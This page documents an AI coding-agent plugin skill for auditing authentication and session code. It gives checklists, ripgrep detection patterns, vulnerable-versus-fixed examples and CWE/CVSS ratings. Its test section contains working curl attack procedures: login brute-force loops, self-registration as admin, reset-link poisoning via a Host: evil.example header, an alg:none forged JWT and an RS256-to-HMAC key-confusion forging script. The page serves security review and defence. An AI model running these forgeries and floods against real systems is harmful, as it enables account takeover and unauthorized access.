Audits authentication and session management code for security flaws: credential verification, session fixation, MFA bypass, JWT/OAuth handling, and password reset vulnerabilities.
Ships in Aegis Skills. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
Read when SKILL.md points to them.
api.md; object-level IDOR beyond reset-flow specifics -> authz.md; cookie attribute deep matrix -> config.md; hardcoded secret inventory -> secrets.md; redirect validation depth -> ssrf.md.Zero-background primer: the terms this module uses, one line each. Deeper plain-language explanations for every class live in the repository GUIDE.md glossary.
Authentication is a state machine; every transition must be guarded:
| Stage | Question the code must answer | Flaw class if wrong | Primary CWE |
|---|---|---|---|
| Credential verify | Is the password checked with a slow salted KDF? | Plaintext/fast-hash compare | CWE-521 |
| Attempt throttle | Are repeated failures bounded per account and per source? | Brute force / stuffing | CWE-307 |
| Identity issuance | Does successful login mint a NEW unpredictable identifier? | Fixation, predictable IDs | CWE-384 |
| Session lifetime | Do sessions expire server-side and die on logout/password change? | Never-expiring sessions | CWE-613 |
| Recovery | Can only the true owner reset via an unguessable expiring token? | Predictable/replayable reset | CWE-640 |
| Step-up | Are sensitive operations re-authenticated or MFA-gated? | MFA absent/bypassable | CWE-287 |
| Token trust | Are signature, algorithm, issuer, audience, expiry enforced? | alg:none, confusion, missing checks | CWE-287 |
| Registration | Can a caller self-assign privileged fields? | Mass assignment to admin | CWE-287 |
| Response parity | Do all auth failures look identical externally? | Enumeration | CWE-204 |
Rule of thumb: any handler reachable BEFORE authentication completes (login, register, forgot-password, OAuth callback, MFA challenge) is fully attacker-controlled input territory and receives the highest scrutiny.
username/email keys across query, body, and array syntax (user[]=a&user[]=b) reaching lookups that pick first-or-last inconsistently.$fillable, fields, serializer fields, StrongParameters); flag role, is_admin, admin, permissions, user_type sourced from client input..htpasswd, or default env fallbacks.bcrypt.compare, checkpw, PasswordEncoder.matches, password_verify), never ==/=== on digest strings.crypto.randomBytes(32), secrets.token_urlsafe(32), random_bytes(32), SecureRandom, SecureRandom.urlsafe_base64). Flag time/email/name-derived values, Math.random(), rand(), mt_rand(), uniqid().Host/X-Forwarded-Host, req.headers.host, $_SERVER['HTTP_HOST'], Django build_absolute_uri() bound to the request, Rails default_url_options merged from request.uid/userId (flow-specific IDOR; deep matrix -> authz module).mfa_pending session flags granting full access, alternate routes skipping the challenge, client-only gating.maxAge.none, key loaded from config/Keystore (never from token headers), asserted aud/iss, expiry enforced (no ignoreExpiration).kid into SQL/path traversal, jku/x5u fetched over network, inline jwk trusted.?token=, access_token=) leaking into logs/Referer.response_type=token), missing or non-compared state, redirect_uri prefix-matched or unmatched (depth -> ssrf module).md5(username), sha1(password_hash) derivatives, sequential integers.request.session.SECRET_KEY enables forgery (key sourcing -> secrets module); PyJWT same trust model for HS256 shared secrets.session.save_path permissions; session_regenerate_id(true) on privilege change.| Glob pattern | What to find |
|---|---|
**/*login*, **/*signin*, **/auth/**, **/sessions/** | Login/logout handlers, controllers |
**/passport*.{js,ts}, **/strategies/** | passport.js verify callbacks |
**/*jwt*.{js,ts,py,java,kt,go,cs}, **/*token* | Token issue/verify points |
**/seed*, **/seeds/**, **/fixtures/**, **/factories/**, **/db/migrate/**, **/migrations/** | Seeded users, default passwords |
**/middleware/**, **/filters/**, **/interceptors/** | Auth middlewares and their ordering |
**/{SecurityConfig,WebSecurityConfig,Startup,Program}.{java,kt,cs}, **/settings.py, **/config/** | Framework auth/session configuration |
**/config/initializers/devise.rb, **/models/user.rb, **/models/user.py | Devise config, has_secure_password |
**/*reset*, **/*forgot*, **/*recover*, **/*mfa*, **/*totp*, **/*otp* | Reset and MFA flows |
templates/**/*.html, **/views/**, **/*.tsx | Reset links/tokens rendered client-side |
| Framework | Marker of weakness | Correct pattern |
|---|---|---|
| Express + passport.js | session({secret:'s'}) without store; manual user.password === req.body.password; no req.session.regenerate on login | Redis/Mongo store; bcrypt.compare in strategy; req.session.regenerate() before setting user |
| jsonwebtoken (Node) | jwt.decode() feeding authorization; jwt.verify(t,key) with no options object | jwt.verify(token, publicKey, {algorithms:['RS256'], audience, issuer}) |
| Django | MD5PasswordHasher active in PASSWORD_HASHERS; SESSION_COOKIE_SECURE = False; reset view trusting POSTed uid | Argon2PasswordHasher first; DB/cache session engine; ownership resolved from token record only |
| Flask / Flask-Login | app.secret_key = 'dev'; roles trusted from session cookie | 32+ byte random secret from env/vault; roles loaded from DB per request |
| Spring Security (Java/Kotlin) | NoOpPasswordEncoder.getInstance(); disabled sessionFixation; csrf().disable() alongside cookie auth | DelegatingPasswordEncoder + BCrypt(12); default changeSessionId fixation protection enabled |
| ASP.NET Core Identity | RequiredLength = 4; multi-year cookie ExpireTimeSpan; hand-rolled cookie auth replacing Identity | Default password options; bounded ExpireTimeSpan; reviewed SlidingExpiration |
| Laravel (PHP) | Hash::make($pw, ['rounds' => 6]); short Str::random(n) reset tokens; $fillable containing role | Default bcrypt (raise to 12); Str::random(40); $guarded = ['role','is_admin'] |
| Raw PHP sessions | md5($_POST['pw']) == $row['hash']; no session_regenerate_id after login | password_verify() / password_hash(PASSWORD_DEFAULT); session_regenerate_id(true) |
| Rails (devise / has_secure_password) | plaintext column instead of has_secure_password; custom reset finder trusting params; naive remember token | has_secure_password or Devise defaults (reset_password_within = 6.hours); generate_unique_secure_token |
| Go (gorilla/sessions, stdlib) | crypto/md5 on passwords; literal []byte("secret") CookieStore key; cookies without MaxAge/Secure | bcrypt.GenerateFromPassword(pw, 12); 32-byte random key; full cookie attribute set |
| OAuth (any stack) | callback reads code without comparing state; response_type=token | per-login server-stored state compared constant-time; authorization-code flow + PKCE |
All regexes are ripgrep-compatible (no lookarounds). Hits are leads requiring manual confirmation.
Weak or fast password hashing:
(hashlib\.(md5|sha1)\(|Digest::MD5|digest::md5|crypto\.createHash\(["'](md5|sha1)["']\)|hash\(["'](md5|sha1)["'],|(MD5|SHA1)PasswordHasher|NoOpPasswordEncoder|MessageDigest\.getInstance\("MD5"\)|password.*encrypt|encrypt.*password)
Low KDF cost / fast parameters (manual-check the numbers found):
(genSalt(Sync)?\(\s*([0-9]|1[01])\s*[,)]|BCryptPasswordEncoder\(\s*(\d|10|11)\s*\)|rounds\s*[:=]\s*([0-9]|10|11)\b|Cost\s*=\s*(\d|10|11)\b|pbkdf2:sha256:[1-5]?[0-9]{1,5}|iterations\s*[:=]\s*[1-5]?[0-9]{1,5}\b)
Default / seeded credentials:
(["'](admin|root|administrator|superuser|demo|test|sa)[\"']\s*[:,=]\s*["'](admin|admin123|root|toor|password|password1|Passw0rd!|123456|12345678|changeme|changeit|letmein|qwerty|secret)["'])
Enumeration-leaking messages:
(["'](User|Email|Account)[^"']{0,20}(not found|does not exist|unknown|no such)|invalid username|email not registered|no account (with|matches))
Weak reset-token generation:
(Math\.random\(\).{0,60}token|token.{0,60}Math\.random\(\)|uniqid\(|mt_rand\(|\brand\(\d|randint\(|Date\.now\(\)\.toString\(36\)|(md5|sha1)\((time|microtime|now|email)))
Reset-token lifecycle fields (presence audit; pair with manual expiry/single-use review):
(reset_password_token|password_reset_token|resetToken|resetRequestedAt|reset_sent_at|reset_expires|tokenExpiry|used_at)
JWT misuse:
(jwt\.decode\(|JWT\.decode\(|decode\(\s*(jwt|token)|algorithms?\s*[:=]\s*\[?\s*["']none["']|ignoreExpiration\s*:\s*true|ignoreNotBefore\s*:\s*true|"alg"\s*:\s*"[Nn]one")
Key-selection injection surface (kid/jku/x5u/jwk):
(header\.kid|\bkid\b\s*[:=]|header\.jku|x5u|header\.jwk|getPublicKey(kid|ById))
OAuth gaps:
(response_type=token|response_type["']?\s*[:=]\s*["']token|state\s*[:=]\s*(null|None|""|'')|oauth/callback|redirect_uri=)
Session misconfiguration:
(saveUninitialized\s*:\s*true|MemoryStore|maxAge\s*:\s*(365|30)\s*\*\s*24|SESSION_COOKIE_SECURE\s*=\s*False|cookie_secure\s*=\s*False|httponly\s*[:=]\s*[Ff]alse|secret_key\s*=\s*["'][^"']{0,20}["'])
Remember-me / persistent login:
(remember[_-]?me|RememberMe|auto_login|persistent_login|series:token|auth_token\s*[:=])
Tokens in URLs / basic auth embedded in code:
([?&](token|jwt|access_token|reset_password_token)=|Basic\s+[A-Za-z0-9+/=]{12,}|Authorization["']?\s*[:,=]\s*["']Basic )
MFA presence audit (absence of hits near sensitive routes is itself a finding):
(totp|mfa|two_factor|2fa|otp_secret|backup_code|recovery_code|mfa_required)
| Source (attacker-controlled) | Sink (security decision) | Flaw to confirm |
|---|---|---|
Login body username/email | Response body/status branches | Enumeration (CWE-204) |
| Failed-attempt counter keyed on IP only | Lockout state | Distributed brute force survives (CWE-307) |
| Signup body -> ORM create/update | users.role / users.is_admin columns | Mass assignment to admin (CWE-287) |
Math.random() / time-derived value | Reset token persisted + emailed | Predictable recovery token (CWE-640) |
Host / X-Forwarded-Host header | Email link builder | Reset-link host poisoning (CWE-640) |
Client-supplied uid in reset-consume | Token ownership check | Cross-user reset (IDOR-in-reset) |
JWT header kid/jku/jwk/x5u | Verification key selection | Attacker-signed tokens (log under CWE-287) |
Decoded JWT claims (role,sub) | Authorization checks | Unverified-token trust (CWE-287) |
OAuth callback query (code,state) | Session establishment | Login CSRF via missing state binding |
Weak/committed SECRET_KEY | Flask/itsdangerous/JWT HS256 signing | Session/token forgery (cross-ref secrets module) |
Method: start from the route table (Express routers, Django urls.py, Rails routes.rb, Spring @RequestMapping, Go http.HandleFunc), classify every unauthenticated route, then follow arguments into the sinks above. For mass assignment, dump model allowlists ($fillable, fields, StrongParameters) and diff against signup controller inputs. For reset flows, walk generate -> persist -> email -> consume and annotate where attacker data can substitute for each stage.
Run only against systems you are authorized to test. Each procedure lists expected observable outcomes.
curl -s -o /dev/null -w '%{http_code} %{size_download} %{time_total}\n' \
-X POST https://target/login -H 'Content-Type: application/json' \
-d '{"username":"definitely-not-a-user","password":"WrongPass1!"}'
curl -s -o /dev/null -w '%{http_code} %{size_download} %{time_total}\n' \
-X POST https://target/login -H 'Content-Type: application/json' \
-d '{"username":"admin","password":"WrongPass1!"}'
%{time_total}.for i in $(seq 1 30); do curl -s -o /dev/null -w '%{http_code} ' \
-X POST https://target/login -H 'Content-Type: application/json' \
-d '{"username":"victim","password":"bad-'$i'"}'; done; echo
admin:admin, admin:password, root:root, demo accounts.Set-Cookie; confirm elevated role via /api/me./api/me.curl -s -X POST https://target/api/register -H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"Str0ngPass!xyz","role":"admin"}'
Variants: {"isAdmin":true}, {"user_type":0}, duplicate key "role":"user","role":"admin" (pollution), form-encoded role=admin alongside JSON./api/me shows role:"admin"; a previously forbidden admin endpoint now returns data.curl -s -X POST https://target/auth/forgot -H 'Host: evil.example' \
-H 'Content-Type: application/json' -d '{"email":"[email protected]"}'
curl -s -X POST https://target/auth/forgot -H 'X-Forwarded-Host: evil.example' \
-H 'Content-Type: application/json' -d '{"email":"[email protected]"}'
https://evil.example/reset?.... Without inbox access, confirm statically that the link host derives from request headers.Authorization: Bearer <token>.eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 ({"alg":"none","typ":"JWT"}), payload eyJzdWIiOiIxMDA3IiwiaWF0IjoxNzUwMDAwMDAwLCJyb2xlIjoiYWRtaW4iLCJzY29wZSI6InByb2ZpbGUifQ ({"sub":"1007","iat":1750000000,"role":"admin","scope":"profile"}), empty signature:
FORGED='eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMDA3IiwiaWF0IjoxNzUwMDAwMDAwLCJyb2xlIjoiYWRtaW4iLCJzY29wZSI6InByb2ZpbGUifQ.'
curl -s https://target/api/admin/users -H "Authorization: Bearer $FORGED"
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0 and with trailing-dot removed.none; record as pass.TOKEN='<original RS256 token>'
HDR=$(printf %s "$TOKEN" | cut -d. -f1); PL=$(printf %s "$TOKEN" | cut -d. -f2)
SIG=$(printf '%s.%s' "$HDR" "$PL" | openssl dgst -binary -sha256 -mac HMAC \
-macopt key:"$(cat server_public.pem)" | base64 | tr '+/' '-_' | tr -d '=')
FORGED="$HDR.$PL.$SIG"
curl -s https://target/api/me -H "Authorization: Bearer $FORGED"
exp passed (or shorten test window by requesting tokens with short ttl).web://client) against another service (api://orders).audience/issuer options or sets ignoreExpiration:true.state parameter.https://target/auth/callback?code=<code>.curl -si -c jar.txt https://target/ ; grep -i sid jar.txt
curl -si -b jar.txt -c jar.txt -X POST https://target/login \
-d 'username=u&password=p' >/dev/null; grep -i sid jar.txt
curl -X POST https://target/logout -b C1.curl -s -o /dev/null -w '%{http_code}\n' https://target/api/profile -b C1.jar
curl -s https://target/api/payments -b mfa_pending.jar
curl -si https://target/login | grep -iE '^set-cookie.*(httponly|secure|samesite)'
Expected finding if weak: session cookie missing HttpOnly/Secure/SameSite, or SameSite=None without Secure. Deep matrix -> config module.
requireMfa.express-rate-limit + rate-limiter-flexible, Django django-axes, ASP.NET LockoutOptions.Enabled = true, Spring custom AuthenticationFailureHandler + counters). Tuning depth -> api module.// VULNERABLE
const u = await db.users.findByEmail(email);
if (!u) return res.status(404).json({error: 'User not found'});
if (!(await bcrypt.compare(pw, u.password))) return res.status(401).json({error: 'Wrong password'});
// FIXED
const DUMMY_HASH = await bcrypt.hash('timing-equalizer', 12); // computed once at boot
const u = await db.users.findByEmail(email);
const ok = u ? await bcrypt.compare(pw, u.password) : await bcrypt.compare(pw, DUMMY_HASH);
if (!u || !ok) return res.status(401).json({error: 'Invalid credentials'});
| Algorithm | Minimum parameters (OWASP Password Storage guidance) |
|---|---|
| Argon2id | memory 19 MiB (19456 KiB), iterations 2, parallelism 1; scale up hardware permitting |
| bcrypt | cost 12+ (~250 ms on server-class core) |
| scrypt | N=2^17, r=8, p=1 |
| PBKDF2-HMAC-SHA256 | 600,000 iterations |
// VULNERABLE
const hash = crypto.createHash('sha256').update(password).digest('hex');
// FIXED
const argon2 = require('argon2');
const hash = await argon2.hash(password, {type: argon2.argon2id, memoryCost: 19456, timeCost: 2, parallelism: 1});
Enforce server-side policy: length >= 12 preferred (or >= 8 with composition), breached-password denylist, no forced periodic rotation. Migrate by wrapping legacy hashes and rehashing on next successful login.
Breached-password screening concretely: query the Have I Been Pwned k-anonymity range API (GET https://api.pwnedpasswords.com/range/{first 5 chars of SHA-1}) server-side at registration and password change, comparing the full SHA-1 of the candidate; block matches, never send the full password off-host. Allow paste into password fields — blocking paste pushes users toward weaker memorable passwords and breaks password managers. Give users visibility into their active sessions with per-session terminate buttons; unexplained sessions are both a user-facing control and a detection signal.
| Stack | Call at login / privilege change |
|---|---|
| Express | await new Promise(r => req.session.regenerate(r)) then set user claims |
| Django | request.session.cycle_key() before setting auth state |
| PHP | session_regenerate_id(true); |
| Rails / Devise | reset_session then re-establish (Devise does this inside sign_in) |
| Spring Security | default session-fixation protection calls changeSessionId(); keep it enabled, do not disable |
| Go (gorilla/sessions) | no built-in rotate: destroy old session record, create fresh one, copy minimal claims |
| ASP.NET Core | SignInManager.PasswordSignInAsync rotates the cookie; for custom auth issue a new ticket and clear the old cookie |
Logout must be server-authoritative: delete store entry (req.session.destroy(cb), session_destroy(), request.getSession().invalidate()), clear cookie, and on password change/reset invalidate every session, refresh token, remember-me device, and outstanding reset token.
// VULNERABLE
const token = Math.random().toString(36).slice(2) + Date.now();
// FIXED
const crypto = require('crypto');
const token = crypto.randomBytes(32).toString('base64url'); // 256-bit, emailed once
const tokenHash = crypto.createHash('sha256').update(token).digest(); // store hash, never raw token
await db.query(
'UPDATE users SET reset_token_hash=?, reset_expires=NOW()+INTERVAL 15 MINUTE WHERE email=?',
[tokenHash, email]);
// consumption: single atomic statement guarantees single-use + expiry
// UPDATE users SET reset_token_hash=NULL, reset_expires=NULL, password_version=password_version+1
// WHERE email=? AND reset_token_hash=? AND reset_expires > NOW()
Build links from a server-configured base URL (APP_BASE_URL), never request headers. Rate-limit issuance and notify users of resets. Ownership in the consume step must resolve through the token record only.
// FIXED: gate AFTER credential success, BEFORE any privileged route mounts
function requireMfa(req, res, next) {
if (!req.session.userId) return res.redirect('/login');
if (req.session.mfaPending && !req.session.mfaVerified) return res.redirect('/mfa/challenge');
next();
}
router.use(requireMfa);
router.post('/payments', handlers.payments);
router.get('/admin', handlers.admin);
Encrypt TOTP secrets at rest; hash backup codes with the password KDF and mark used codes atomically; device-trust cookies need >= 128-bit CSPRNG values, hashed server-side, <= 30-day life, revoked on password change. Enforce MFA server-side on admin panels, credential changes, payouts/exports, API-key creation.
// VULNERABLE
const payload = jwt.decode(token); // zero verification
// also bad:
jwt.verify(token, secret, {ignoreExpiration: true});
jwt.verify(token, keyFromTokenHeader.kid); // attacker-selected key
// FIXED
const payload = jwt.verify(token, publicKey, {
algorithms: ['RS256'], // pinned allowlist; 'none' can never pass
audience: 'api://orders',
issuer: 'https://idp.corp.example',
clockTolerance: 30,
});
if (!payload.scope || !payload.scope.includes('orders:read')) throw new ForbiddenError();
Python equivalent: pyjwt.decode(token, key, algorithms=['RS256'], audience='api://orders', issuer='https://idp.corp.example'). Never fetch keys from token-supplied URLs; resolve kid against a local JWKS allowlist only.
state, verify equality before exchanging code; exact-match redirect_uri registration.response_type=token implicit flows for new integrations.test_login_uniformity():
r1 = POST /login {user:"ghost-user", pass:"Xy9!"}; r2 = POST /login {user:"admin", pass:"Xy9!"}
assert r1.status == r2.status and abs(len(r1.body)-len(r2.body)) < 20
test_session_rotation():
sid1 = GET / -> Set-Cookie SID; sid2 = POST /login(cookie=sid1)
assert sid1 != sid2 and GET /me with sid1 -> unauthenticated
test_jwt_negative_then_positive():
assert verify(forged_alg_none) raises InvalidAlgorithmError
assert verify(expired_token) raises ExpiredSignatureError
assert verify(valid_token) returns payload # negative-test regression
test_reset_single_use():
t = request_reset(); consume(t); assert consume(t) fails
rg -n "NoOpPasswordEncoder|MD5PasswordHasher|SHA1PasswordHasher" src/
rg -n "algorithms?\s*[:=]\s*\[?\s*[\"']none[\"']|ignoreExpiration\s*:\s*true" src/
rg -n "Math\.random\(\).{0,60}token|uniqid\(" src/
rg -n "\[\s*[\"'](role|is_admin)[\"']\s*,\s*[\"'](is_admin|role)[\"']\s*\]" app/ models/
rg -n "secret_key\s*=\s*[\"'][^\"']{0,20}[\"']" .
| Finding | CWE | Default rating | Example CVSS v3.1 vector |
|---|---|---|---|
| Auth bypass at login (alg:none, missing signature validation, logic bypass) | CWE-287 | Critical | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8) |
| Predictable / non-expiring / replayable reset token -> account takeover | CWE-640 | High-Critical | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Session fixation | CWE-384 | High | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L |
| Missing rate limiting / lockout enabling stuffing | CWE-307 | Medium-High | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5) |
| Username/email enumeration | CWE-204 | Low-Medium | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (5.3) |
| Sessions never expiring / logout not invalidating | CWE-613 | Medium-High | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| Unverified password change (no current-password/MFA check) | CWE-620 | High | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Weak password policy / weak storage | CWE-521 | Medium-High | context-dependent; offline-crack exposure raises it |
| Hard-coded credentials reachable in prod | CWE-798 | Critical if privileged | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Missing MFA on sensitive operations | CWE-287 | Medium | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
Rubric anchors:
jwt.decode present but only for logging claims, with a real verify upstream in middleware — trace call order before flagging.RAILS_ENV=test, if env.DEBUG) and excluded from release builds.CWE entries:
OWASP (stable URLs):
What SKILL.md sets; muted values are Claude Code's defaults
/aegis:aegis-authn-sessionfrom Aegis Skills
npx claudepluginhub as-foss/aegis-skills --plugin aegis40 skills in this plugin
/aegis-api-securityAudit playbook module for API-specific security failures covering mass assignment, missing rate limits and pagination caps, GraphQL/gRPC misconfiguration, REST hygiene gaps, API key mishandling, and WebSocket/SSE access-control defects across all mainstream web frameworks./aegis-api-token-securityAudits the full lifecycle of bearer/API tokens protecting an internet-exposed HTTP API — minting entropy and format, hash-only server storage, transport rules, scoping, expiry and rotation, revocation, per-key rate limits, and log hygiene — with read-only evidence commands and hardened reference implementations./aegis-authz-access-controlDetects broken function-level and object-level authorization (BFLA/BOLA), vertical and horizontal privilege escalation, tenant-isolation failures, path/header bypasses, and unsafe delegation across mainstream web frameworks and APIs./aegis-baas-platformAudits Backend-as-a-Service and managed-platform configuration - Supabase RLS, Firebase security rules, connection-string databases, serverless host exposure, payment-webhook integrity, and managed CMS posture - for broken-access-control footguns that expose or corrupt production data./aegis-backup-drAudits backup hygiene and disaster-recovery readiness for Linux hosts — job inventory and coverage-gap analysis, destination tiering against the 3-2-1-1-0 pattern, encryption and key-custody posture, restore documentation and drill evidence, and ransomware resilience — using read-only discovery sweeps, fill-in RTO/RPO and recovery-order worksheets, and remediation skeletons./aegis-blue-team-detectionDetection-engineering companion that converts every vulnerability class this playbook's red-team modules can find into mandatory log signals, alert thresholds, and purple-team-validated detections so defenders catch both exploitation attempts and successful compromises.Other plugins' skills for the same job